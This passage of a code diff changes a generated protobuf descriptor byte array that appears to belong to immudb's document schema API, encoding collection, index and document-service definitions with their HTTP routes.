0x6f, 0x72, 0x6d, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x59, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, - 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3b, 0x2e, 0x69, 0x6d, 0x6d, + 0x65, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, + 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, + 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, + 0x6d, 0x65, 0x22, 0x17, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x16, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4e, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, - 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, - 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, - 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, - 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x3a, 0x02, 0x38, 0x01, 0x22, 0x65, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, - 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, - 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x2a, 0x0a, 0x14, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x17, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x22, 0x68, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, - 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4e, 0x0a, 0x0b, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x96, 0x02, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5e, 0x0a, 0x0a, 0x61, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, - 0x78, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, - 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x41, 0x64, 0x64, 0x49, 0x6e, 0x64, - 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x61, 0x64, 0x64, 0x49, 0x6e, - 0x64, 0x65, 0x78, 0x65, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x49, - 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0d, 0x72, 0x65, - 0x6d, 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x1a, 0x61, 0x0a, 0x0f, 0x41, - 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, - 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, - 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, - 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, - 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, - 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2a, 0x49, 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, - 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, - 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, - 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, - 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, - 0x45, 0x10, 0x06, 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, - 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, - 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, - 0x49, 0x4e, 0x47, 0x10, 0x02, 0x32, 0xc7, 0x0c, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x2c, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, - 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, + 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x96, 0x02, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, + 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, + 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, + 0x12, 0x5e, 0x0a, 0x0a, 0x61, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x02, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x2e, 0x41, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x61, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, + 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, + 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0d, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x1a, 0x61, 0x0a, 0x0f, 0x41, 0x64, 0x64, 0x49, 0x6e, 0x64, + 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, - 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, - 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, - 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, - 0x61, 0x72, 0x63, 0x68, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, - 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x9c, 0x01, - 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, - 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, + 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x2a, 0x49, 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, + 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, + 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, + 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, + 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x2a, 0x30, + 0x0a, 0x09, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x44, + 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, + 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x02, + 0x32, 0xc7, 0x0c, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, + 0x76, 0x69, 0x63, 0x65, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, + 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, + 0x61, 0x74, 0x65, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, + 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, + 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, + 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 